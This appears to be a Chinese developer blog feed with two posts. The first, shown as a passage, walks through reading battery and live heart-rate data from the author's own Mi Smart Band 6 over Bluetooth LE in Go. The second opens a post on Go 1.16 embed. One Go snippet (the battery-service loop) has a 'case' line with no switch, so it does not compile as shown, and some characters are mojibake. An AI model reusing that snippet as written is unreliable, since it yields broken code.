在设备恢复出产设置后才会改变,因此一般来说我们拿到过一次记下来即可。</p> <h2 id="检测电脑蓝牙是否正常">检测电脑蓝牙是否正常</h2> <p>现在让我们来试试通过 MacBook 的蓝牙与小米手环进行通信。在使用 Go 编写真正的代码前,我们得先测试下 Mac 的蓝牙,免得后面调试了半天代码最后发现是电脑连不上小米手环。 这里推荐使用 Bluetility 来进行测试:https://github.com/jnross/Bluetility 直接终端运行:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>brew install --cask bluetility </span></span></code></pre></div><p>安装成功后打开 App,你会在最右侧的 Devices 列表中看到附件发现的蓝牙设备。找到并点击你的小米手环(我的是 <code>Mi Smart Band 6</code>);右侧 Services 会出来一列,点击 <code>Battery</code>;再在 <code>Characteristics</code> 中点击 <code>Battery Level</code>,这时便读取到了这个 <code>Characteristics</code> 的数据,我们需要关注该数据转换为十进制时的结果,我这里是 <code>100</code>,即当前手环电量为 100%。</p> <p><img src="https://github.red/images/2021/06/Bluetility.png" alt=""></p> <p>好!这说明我们的蓝牙没有问题,下面就是开始写代码了!</p> <h2 id="小试牛刀获取电量信息">小试牛刀:获取电量信息</h2> <p>我们需要找到一个 Go çš„ BLE (Bluetooh Low Energy) 库,从而实现与蓝牙设备的通信。在 GitHub 上简单的搜索过后,你可能很轻易的就发现了 <code>github.com/go-ble/ble</code> 这么一个库。 <div class="box-warning box"><i class="box-icon-warning"></i> <b>有坑注意</b><br> github.com/go-ble/ble 已不再对 macOS 平台进行维护,以至于你在 macOS 下使用该库连代码编译都不通过! </div> </p> <p>不过我看到这个库有不少的 Fork,可以尝试使用 Find useful forks 看一下:<a href="https://useful-forks.github.io/?repo=go-ble%2Fble">https://useful-forks.github.io/?repo=go-ble%2Fble</a> ,其中 star 数排名第二的 Fork <code>github.com/JuulLabs-OSS/ble</code> 增加了对 macOS Mojave 与 Catalina 的支持,我们最后用的就是它!</p> <h3 id="设置蓝牙设备">设置蓝牙设备</h3> <p>首先我们需要设置好我们 MacBook 本机的蓝牙设备,这里全部使用默认的即可:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>d, err <span style="color:#ff7b72;font-weight:bold">:=</span> darwin.<span style="color:#d2a8ff;font-weight:bold">NewDevice</span>() </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;new device&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span>ble.<span style="color:#d2a8ff;font-weight:bold">SetDefaultDevice</span>(d) </span></span></code></pre></div><h3 id="发现附近的蓝牙设备并连接">发现附近的蓝牙设备并连接</h3> <p>设置好蓝牙设备后,之后代码的流程与上述使用 Bluetility App 的操作流程其实是一样的。 我们需要发现附近的蓝牙设备,<code>ble.Connect</code> 方法会在发现新的设备时调用其中的匿名函数,入参为设备的信息,我们通过设备信息(设备名、设备 UUID)等来判断这是否是我们想要连接的目标设备,如果确认连接则返回 <code>true</code>,否则返回 <code>false</code>。 下面的代码一直返回 <code>false</code>,并将发现的设备信息打印出来,你可以在打印出的设备信息中找到自己小米手环的特征。这里我建议还是使用 <code>a.Addr()</code> 这个值辨别设备比较稳健。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>ctx <span style="color:#ff7b72;font-weight:bold">:=</span> context.<span style="color:#d2a8ff;font-weight:bold">Background</span>() </span></span><span style="display:flex;"><span>client, _ <span style="color:#ff7b72;font-weight:bold">:=</span> ble.<span style="color:#d2a8ff;font-weight:bold">Connect</span>(ctx, <span style="color:#ff7b72">func</span>(a ble.Advertisement) <span style="color:#ff7b72">bool</span> { </span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Printf</span>(<span style="color:#a5d6ff">&#34;%s - %s\n&#34;</span>, a.<span style="color:#d2a8ff;font-weight:bold">LocalName</span>(), a.<span style="color:#d2a8ff;font-weight:bold">Addr</span>().<span style="color:#d2a8ff;font-weight:bold">String</span>()) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span> </span></span><span style="display:flex;"><span>}) </span></span></code></pre></div><h3 id="发现设备-services">发现设备 Services</h3> <p>在使用 Bluetility App 获取设备电量时,我们最终通过读取 <code>Characteristics</code> 中的数据获取到设备的电量信息,那现在通过 <code>ble</code> 库连上了设备,我发现其 <code>Client</code> 下就有 <code>ReadCharacteristic()</code>,那么我是不是可以直接传入 <code>Characteristics</code> çš„ UUID 去读电量了呢? 答案是不行的,我们的操作需要一步步来。与使用 Bluetility App 图形化操作一致,我们需要先发现设备下所有的 Services,再去发现 <code>Service</code> 下的 <code>Characteristics</code>,这时才能读取对应 <code>Characteristics</code> 中的数据。 发现 Services 的代码很简单,我们也不需要设置过滤条件。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>services, err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">DiscoverServices</span>(<span style="color:#79c0ff">nil</span>) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;discover services&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h3 id="找到-battery-service">找到 Battery Service</h3> <p>根据 Bluetooth GATT,全天下蓝牙设备的电池电量都从 UUID 为 <code>0000180f-0000-1000-8000-00805f9b34fb</code> çš„ Service 中获取。我们对上面的 <code>services</code> 进行遍历,获取到 UUID 为 <code>180f</code> çš„ Service,即为电池电量 Battery Service。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">for</span> _, service <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> services { </span></span><span style="display:flex;"><span> service <span style="color:#ff7b72;font-weight:bold">:=</span> service </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">&#34;180f&#34;</span>: <span style="color:#8b949e;font-style:italic">// Battery</span> </span></span><span style="display:flex;"><span> miband.battery = service </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h3 id="找到-battery-characteristic">找到 Battery Characteristic</h3> <p>同理,我们再寻找 Battery Service 下的所有的 Characteristics。遍历获取到的 <code>characteristics</code>,找到 UUID 为 <code>2a19</code> çš„ Characteristic。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>characteristics, err = client.<span style="color:#d2a8ff;font-weight:bold">DiscoverCharacteristics</span>(<span style="color:#79c0ff">nil</span>, miband.battery) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;discover battery service characteristics&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span><span style="color:#ff7b72">for</span> _, characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> characteristics { </span></span><span style="display:flex;"><span> characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> characteristic </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> characteristic.UUID.<span style="color:#d2a8ff;font-weight:bold">String</span>() <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">&#34;2a19&#34;</span> { </span></span><span style="display:flex;"><span> miband.batteryCharacteristic = characteristic </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h3 id="读取电池电量信息">读取电池电量信息</h3> <p>终于,在这么一环套一环之后,我们拿到了这个 Characteristic,这时才能够使用 <code>ReadCharacteristic()</code> 方法来读取其中的内容。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>data, err <span style="color:#ff7b72;font-weight:bold">:=</span> m.client.<span style="color:#d2a8ff;font-weight:bold">ReadCharacteristic</span>(m.batteryCharacteristic) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">0</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;read characteristic&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span><span style="color:#ff7b72">return</span> int(data[<span style="color:#a5d6ff">0</span>]), <span style="color:#79c0ff">nil</span> </span></span></code></pre></div><p>将返回的数据中的第一个 byte 转换为十进制,这就是小米手环的电池电量了! 至此,你已经学会了从 Device -&gt; Service -&gt; Characteristic 的过程,并成功读取到了 Characteristic 中的数据。那么接下来来获取心率信息吧~(笑)</p> <h2 id="使用-auth-key-进行验证">使用 Auth Key 进行验证</h2> <p>还记得上文中我们获取到的小米手环 Auth Key 吗?现在我们要使用它来进行验证。 下文中的交互参考自前人的小米手环通信 Python 实现:<a href="https://sourcegraph.com/github.com/satcar77/miband4@master/-/blob/miband.py">https://sourcegraph.com/github.com/satcar77/miband4@master/-/blob/miband.py</a> 我只是在这基础上用 Go 重写了一遍,做了点微小的贡献。😊</p> <p>参照上文过程,获取到 NotifyService (UUID: <code>fee1</code>) 以及其下的 AuthCharacteristic (UUID: <code>000000090000351221180009af100700</code>)。我们将使用 AuthCharacteristic 来进行验证的通信。</p> <ol> <li>注册 Notification Handler 因为蓝牙的发送与接收是异步的,所以我们需要 Subscribe 来自小米手环 Characteristic 传回的消息,根据返回的消息做下一步处理。</li> </ol> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>err = client.<span style="color:#d2a8ff;font-weight:bold">Subscribe</span>(miband.authCharacteristic, <span style="color:#79c0ff">false</span>, miband.handleAuthNotification) </span></span></code></pre></div><p><code>handleAuthNotification</code> 方法如下,其实就是一个大大的 switch-case,对返回消息的前三位进行判断,从而进行下一步操作。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (m <span style="color:#ff7b72;font-weight:bold">*</span>MiBand) <span style="color:#d2a8ff;font-weight:bold">handleAuthNotification</span>(data []<span style="color:#ff7b72">byte</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">switch</span> string(data[:<span style="color:#a5d6ff">3</span>]) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">&#34;\x10\x01\x01&#34;</span>: </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">&#34;[Auth] Start to request random number...&#34;</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> m.<span style="color:#d2a8ff;font-weight:bold">requestRandomNumber</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;[Auth] Failed to request random number: %v&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">&#34;\x10\x01\x04&#34;</span>: </span></span><span style="display:flex;"><span> m.state = AuthKeySendingFailed </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;[Auth] Failed to send key.&#34;</span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">&#34;\x10\x02\x01&#34;</span>: </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">&#34;[Auth] Start to send encrypt random number...&#34;</span>) </span></span><span style="display:flex;"><span> randomNumber <span style="color:#ff7b72;font-weight:bold">:=</span> data[<span style="color:#a5d6ff">3</span>:] </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> m.<span style="color:#d2a8ff;font-weight:bold">sendEncryptRandomNumber</span>(randomNumber); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;[Auth] Failed to send encrypt random number: %v&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">&#34;\x10\x02\x04&#34;</span>: </span></span><span style="display:flex;"><span> m.state = AuthRequestRandomNumberError </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;[Auth] Failed to request random number.&#34;</span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">&#34;\x10\x03\x01&#34;</span>: </span></span><span style="display:flex;"><span> m.state = AuthSuccess </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">&#34;[Auth] Success!&#34;</span>) </span></span><span style="display:flex;"><span> close(m.authed) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">&#34;\x10\x03\x04&#34;</span>: </span></span><span style="display:flex;"><span> m.state = AuthEncryptionKeyFailed </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;[Auth] Encryption key auth fail, sending new key...&#34;</span>) </span></span><span style="display:flex;"><span> err <span style="color:#ff7b72;font-weight:bold">:=</span> m.<span style="color:#d2a8ff;font-weight:bold">sendKey</span>() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;[Auth] Failed to send new key: %v&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">default</span>: </span></span><span style="display:flex;"><span> m.state = AuthFailed </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;Auth failed: %v&#34;</span>, data[:<span style="color:#a5d6ff">3</span>]) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><ol start="2"> <li>向 AuthCharacteristic 发送 <code>\x02\x00</code>。 我们先主动发送 <code>\x02\00</code>:</li> </ol> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>miband.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(miband.authCharacteristic, []byte(<span style="color:#a5d6ff">&#34;\x02\x00&#34;</span>), <span style="color:#79c0ff">false</span>) </span></span></code></pre></div><p>之后会收到来自小米手环的以 <code>\x10\x02\x01</code> 开头的消息,前三位之后的消息即为返回随机数。我们使用 Auth Key 对这个随机数进行 AES 加密后发回给小米手环。 这时若 Auth Key 验证成功,将收到 <code>\x10\x03\x01</code> 开头的消息,至此整个验证结束。</p> <div class="box-warning box"><i class="box-icon-warning"></i> <b>有坑注意</b><br> Go çš„ crypto 标准库中不带 AES ECB 模式的加密,曾有人向 crypto 源码提交过支持 AES ECB 模式的 Pull Requests,但被 Cox 因该加密模式不安全给拒绝了。因此我这里很投机取巧地将当时被拒掉的代码直接复制过来使用了。代码见:https://github.com/wuhan005/mebeats/blob/master/cryptoutil/aes.go </div> <h2 id="获取实时心率信息">获取实时心率信息</h2> <h3 id="发现-servicecharacteristic">发现 Service、Characteristic</h3> <p>与上述操作相同,我们需要先 Discover 到相应的 Service 以及 Service 下的 Characteristic。 它们分别是:</p> <ul> <li>HeartRate Service (UUID: <code>180d</code>)</li> <li>HeartRate Control Characteristic (UUID: <code>2a39</code>) 用于控制心率模块,如开始一次心率检测,设置自动心率检测频率等</li> <li>HeartRate Measure Characteristic (UUID: <code>2a37</code>) 订阅该 Characteristic 以接收设备发送的心率信息</li> </ul> <h3 id="订阅-measure-characteristic">订阅 Measure Characteristic</h3> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>err <span style="color:#ff7b72;font-weight:bold">:=</span> m.client.<span style="color:#d2a8ff;font-weight:bold">Subscribe</span>(m.heartRateMeasureCharacteristic, <span style="color:#79c0ff">false</span>, m.handleHeartRateNotification) </span></span></code></pre></div><p>这个 Characteristic 返回的内容很简单,就是心率信息,我们取第二个 byte,转为十进制即可。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (m <span style="color:#ff7b72;font-weight:bold">*</span>MiBand) <span style="color:#d2a8ff;font-weight:bold">handleHeartRateNotification</span>(data []<span style="color:#ff7b72">byte</span>) { </span></span><span style="display:flex;"><span> m.currentHeartRate = int(data[<span style="color:#a5d6ff">1</span>]) </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">&#34;Heart rate: %d&#34;</span>, m.currentHeartRate) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h3 id="开启实时心率获取">开启实时心率获取</h3> <p>这里是向 HeartRate Control Characteristic 发送消息,首先是停止之前正在进行的自动与手动心跳检测,再开启一次手动心跳检测:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Stop continuous.</span> </span></span><span style="display:flex;"><span>err = m.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(m.heartRateControlCharacteristic, []byte(<span style="color:#a5d6ff">&#34;\x15\x02\x00&#34;</span>), <span style="color:#79c0ff">false</span>) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;stop continuous&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Stop manual.</span> </span></span><span style="display:flex;"><span>err = m.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(m.heartRateControlCharacteristic, []byte(<span style="color:#a5d6ff">&#34;\x15\x01\x00&#34;</span>), <span style="color:#79c0ff">false</span>) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;stop manual&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Start manual.</span> </span></span><span style="display:flex;"><span>err = m.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(m.heartRateControlCharacteristic, []byte(<span style="color:#a5d6ff">&#34;\x15\x01\x01&#34;</span>), <span style="color:#79c0ff">false</span>) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;start manual&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> { </span></span><span style="display:flex;"><span> time.<span style="color:#d2a8ff;font-weight:bold">Sleep</span>(<span style="color:#a5d6ff">12</span> <span style="color:#ff7b72;font-weight:bold">*</span> time.Second) </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">&#34;Send ping...&#34;</span>) </span></span><span style="display:flex;"><span> err = m.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(m.heartRateControlCharacteristic, []byte(<span style="color:#a5d6ff">&#34;\x16&#34;</span>), <span style="color:#79c0ff">false</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;Failed to send ping: %v&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>}() </span></span></code></pre></div><p>如果我们仅发送上述的三个消息,那么在一开始的十几秒内,每隔四五秒我们就能收到一次心率信息,在之后会变成一分钟才收到一次。因此我起了个协程,每隔 12 秒 ping 一下。这样就能在短间隔内不断收到新的心率数据了。</p> <p>至于这数据能怎样玩出花来,那就看各位的想象力了。</p> <h2 id="最后说几句">最后说几句</h2> <p>这个项目的完整代码见:<a href="https://github.com/wuhan005/mebeats">https://github.com/wuhan005/mebeats</a> ,现在你也可以在我的 GitHub Profile 看到我的实时心跳了💓! 需要注意的是,后端返回图片时记得加上这个响应头,这样 GitHub 才不会缓存这张图片。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#f85149">cache-control: no-cache,max-age=0,no-store,s-maxage=0,proxy-revalidate </span></span></span></code></pre></div><p>项目的后端使用的是 Flamego 框架,虽然她现在还不是很完备,但还是很希望大家都去体验下。</p> <p>周二的时候我发了条 Twitter 介绍了下这个项目,被大佬转发后没想到居然火了。🔥 Twitter 一天内涨了一百多 fo,连带着这个项目直接收获 100+ stars!GitHub Follower 也破 200 了😄 真的有点受宠若惊啊,还好这项目代码质量不赖,不算太丢人哈哈哈。 同时 Twitter 上也有人提出对于 Apple Watch,可以使用 Short Cuts 读取健康 App 的心率数据,然后触发 GitHub Actions æ›´æ–° GitHub Profile README,这也是一个很棒的思路。</p> <p>期间还有了个小插曲,跑我这个心跳服务的机器还被人 DDoS 了,收到腾讯云的报警后我赶紧换了机器 + 上 CloudFlare CDN,人红是非多啊&hellip;&hellip;</p> <p>今后如果还有空继续改进这个项目的话,我其实是想再加一个 Web 界面让用户能手动选择想要连接的设备的。同时能够对每一次的心跳数据进行保存。我大概算了下,如果一次心跳使用 8 bits (0~255) 来表示,类似 Redis BitMap 的方式,一秒一次心跳记录,一年下来也就 8 * 3600 * 24 * 365 = 252,288,000 bits,约等于 30 Mb。完全没有问题!</p>道理我都懂,但 go embed 究竟该怎么用?https://github.red/go-embed/Sat, 20 Feb 2021 13:14:16 +0800https://github.red/go-embed/<h2 id="go-116-发布">Go 1.16 发布!</h2> <p>就在前几天,Go 1.16 赶在二月的末尾发布了。</p> <p>对于这个版本我期待了很久,因为官方终于从语言层面解决了静态文件嵌入的问题—— 加入了 <code>go embed</code>。从此,像 go-bindata、statik、togo 等库都将退出历史的舞台。 同时 Go 1.16 配套的加入了 <code>io/fs</code> 标准库,提供了实现文件系统的接口。同时对 <code>http</code>、<code>embed</code>、<code>os</code> 标准库都加入了对 <code>fs</code> 库的支持。 我记得之前用 togo 做静态资源嵌入时,togo 生成的 <code>.go</code> 文件中是它自己实现了 <code>http/fs</code> 中的 <code>FileSystem</code> 接口,以此实现了一个内部的文件系统。现在可以通过的 <code>io/fs</code> 实现一个基本的文件系统,再通过 <code>http.FS</code> 转换给 <code>http</code> 库使用。可以说 <code>io/fs</code> 库打通了其它标准库中对文件系统转换的需求。</p> <p>我们常用读写文件的 <code>io/ioutil</code> 库也在 1.16 中做了改动,因为社区反映 <code>ioutil</code> 这个名字模棱两可,遂将 <code>io/ioutil</code> 中的包给<em>废弃</em>了。 具体变动如下:</p> <table> <thead> <tr> <th>Before</th> <th>After</th> </tr> </thead> <tbody> <tr> <td><code>Discard</code></td> <td><code>io.Discard</code></td> </tr> <tr> <td><code>NopCloser</code></td> <td><code>io.NopCloser</code></td> </tr> <tr> <td><code>ReadAll</code></td> <td><code>io.ReadAll</code></td> </tr> <tr> <td><code>ReadDir</code></td> <td><code>os.ReadDir</code></td> </tr> <tr> <td><code>ReadFile</code></td> <td><code>os.ReadFile</code></td> </tr> <tr> <td><code>TempDir</code></td> <td><code>os.MkdirTemp</code></td> </tr> <tr> <td><code>TempFile</code></td> <td><code>os.CreateTemp</code></td> </tr> <tr> <td><code>WriteFile</code></td> <td><code>os.WriteFile</code></td> </tr> </tbody> </table> <p>需要指出的是,上文中我提到的“废弃”,且版本的英文说明用词是<code>Deprecated</code>,<strong>但并不意味着 <code>io/ioutil</code> 在未来的 Go 版本中将被移除。</strong> 我们仍然可以使用,但是 IDE 会加上横线并提示不推荐使用。Russ Cox 也发推明确说明 <code>io/ioutil</code> 库并不会被“移除”。想想也是,Go 是保证向后兼容的嘛。</p> <p>以上就是对 Go 1.16 更新的大致介绍,可以看到大多改动都围绕着文件处理。今天想来重点聊聊其中的 <code>go embed</code>,网上关于 <code>go embed</code> 的文章有很多,但是鲜有文章提到 <code>go embed</code> 在我们的实际项目中究竟应该如何使用。</p> <h2 id="一看就会一用就废">一看就会,一用就废</h2> <p>我摸索了挺久才发现一个比较优雅的写法,并成功将 <code>go embed</code> 用到了我前阵子写的 Elaina 中。</p> <p>在开始介绍之前,我们先来复习一下 <code>go embed</code> 的使用方法、三种数据格式以及对应的注意事项。 <code>go embed</code> 通过注释的形式进行使用。例如:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">import</span> ( </span></span><span style="display:flex;"><span> _ <span style="color:#a5d6ff">&#34;embed&#34;</span> </span></span><span style="display:flex;"><span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">//go:embed readme.md</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> intro <span style="color:#ff7b72">string</span> </span></span></code></pre></div><p>这样就将 <code>readme.md</code> 文件的内容嵌入到了 <code>intro</code> 变量中。Go 能够允许嵌入的变量类型有如下三种:</p> <table> <thead> <tr> <th style="text-align: center">变量类型</th> <th style="text-align: center">说明</th> </tr> </thead> <tbody> <tr> <td style="text-align: center"><code>[]byte</code></td> <td style="text-align: center">用于存储二进制形式的数据,比如图片、富媒体等。</td> </tr> <tr> <td style="text-align: center"><code>string</code></td> <td style="text-align: center">用于存储 UTF-8 编码的字符串。</td> </tr> <tr> <td style="text-align: center"><code>embed.FS</code></td> <td style="text-align: center">用于嵌入多个文件和目录的结构。</td> </tr> </tbody> 